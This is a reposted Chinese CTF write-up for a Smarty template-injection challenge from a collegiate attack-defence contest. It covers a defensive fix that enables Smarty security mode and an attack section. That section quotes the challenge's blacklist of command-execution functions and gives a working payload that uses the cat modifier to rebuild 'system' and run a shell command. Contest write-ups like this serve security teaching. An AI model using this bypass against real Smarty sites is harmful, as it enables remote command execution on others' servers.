首届“楚安杯”网络攻防高校邀请赛AWDP第十轮smartyWP

admin 2026-04-23 04:54:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了Smarty模板引擎在CTF竞赛中的安全漏洞利用与防护方案。攻击部分通过cat修饰符拼接字符串绕过黑名单过滤,利用{includefile}实现SSTI注入执行系统命令;防御方案建议启用$smarty->enableSecurity()安全模式并部署自动化更新脚本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,CTF,实战经验,安全工具


cover_image

首届“楚安杯”网络攻防高校邀请赛AWDP 第十轮smarty WP

原创

AWDP额头 AWDP额头

取证额头

2026年4月17日 18:42 北京

在小说阅读器读本章

去阅读

2026年

第十轮

附件链接

通过网盘分享的文件:smarty.zip
链接: https://pan.baidu.com/s/1apzHf5CMTrpf4EAHMCGC8Q?pwd=v6j8 提取码: v6j8

题目 smarty

防御

直接在index.php内

$smarty=newSmarty();

下加上一行

$smarty->enableSecurity();

开启 Smarty 安全模式

编写update.sh

#!/bin/bash

cp index.php /var/www/html/index.php

wsl打开当前目录

tar zcvf update.tar.gz index.php update.sh

提交update.tar.gz,验证

攻击

阅览代码

<?php

functioncheckInput($input){

$blacklist=["^","~","%","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close","proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport","syslog","popen","show_source","highlight_file","`","chmod","\$_","eval","copy","assert","usort","include","require","$"];

$input=str_replace("*/","* /",$input);

foreach($blacklistas$black){

if(stristr($input,$black))die("nonono");

}

return$input;

}

if($_SERVER['REQUEST_METHOD']==='POST'){

$templateName=checkInput($_POST['template_name']);

$templateContent=checkInput($_POST['template_content']);

// 将模板内容保存到 template.tpl 文件中

file_put_contents('./templates/template.tpl',$templateContent);

// 返回成功消息

$successMessage='模板已保存成功';

}

// 加载 Smarty 模板引擎库

require'./libs/Smarty.class.php';

$smarty=newSmarty();

$smarty->assign('success_message',$successMessage??'');

$smarty->assign('template_content',file_get_contents('./templates/template.tpl')??'');

$smarty->display('index.tpl');

我们需要过 blacklist 黑名单(外加防注释攻击),将我们填写的模板存到template.tpl,然后将index.tpl内容转成php,我们跟进到index.tpl

index.tpl

<!DOCTYPEhtml>

<html>

<head>

<title>Smarty 框架在线编辑预览</title>

<linkrel="stylesheet"href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/4.5.2/css/bootstrap.min.css">

&nbsp; &nbsp; ……css忽略
</head>

<body>

<divclass="container-fluid">

<divclass="sidebar">

<h4>侧边栏</h4>

<ul>

<li><ahref="#edit">编辑模板</a></li>

<li><ahref="#preview">模板预览</a></li>

</ul>

</div>

<divclass="content">

<sectionid="edit">

<h2>编辑模板</h2>

<formmethod="POST"action="index.php">

<divclass="form-group">

<labelfor="template_name">模板名称</label>

<inputtype="text"class="form-control"id="template_name"name="template_name">

</div>

<divclass="form-group">

<labelfor="template_content">模板内容</label>

<textareaclass="form-control"id="template_content"name="template_content"rows="10"placeholder="在这里输入模板内容..."></textarea>

</div>

<buttontype="submit"class="btn btn-primary">保存模板</button>

</form>

</section>

<sectionid="preview"style="display:&nbsp;none;">

<h2>模板预览</h2>

<divid="previewContent">

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {include file="./template.tpl"}

</div>

</section>

</div>

</div>

……忽略

</body>

</html>

根据上面的index.php猜测是SSTI,翻阅互联网,发现可以找关键词

$smarty->display('template.tpl');
或者
{includefile='template.tpl'}

在模板预览部分有一个类似的

{includefile="./template.tpl"}

文件包含,可以将我们所写进去的smarty转成php展示出来,那么可以执行php。

梳理一下攻击链,输入template_content,绕过WAF,然后点击模板预览来执行php

查看waf

$blacklist=["^","~","%","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close","proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport","syslog","popen","show_source","highlight_file","`","chmod","\$_","eval","copy","assert","usort","include","require","$"];

$input=str_replace("*/","* /",$input);

不可以直接执行echo,system,fopen,带有file的readfile,文件包含等等,还有注释符绕过

sy/* 1111 */stem

查看smarty文档https://www.smarty.net/docs/zh_CN/language.modifier.cat.tpl#/id412551

可以备一份https://www.smarty.net/files/docs/manual-zh_CN-3.1.10.zip线下用

得知替代php的点是cat命令

构造playload

先测试

{{7*7}}
{{7*'7'}}

# 都输出49
{if phpinfo()}{/if}

# 有显示
{if call_user_func('sys'|cat:'tem','cat flag')}{/if}

点击模板预览获得flag

php.net/call_user_func https://www.smarty.net/docs/zh_CN/language.modifier.cat.tpl#/id412551


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:取证额头 AWDP额头 AWDP额头《首届“楚安杯”网络攻防高校邀请赛AWDP 第十轮smarty WP》

评论:0   参与:  0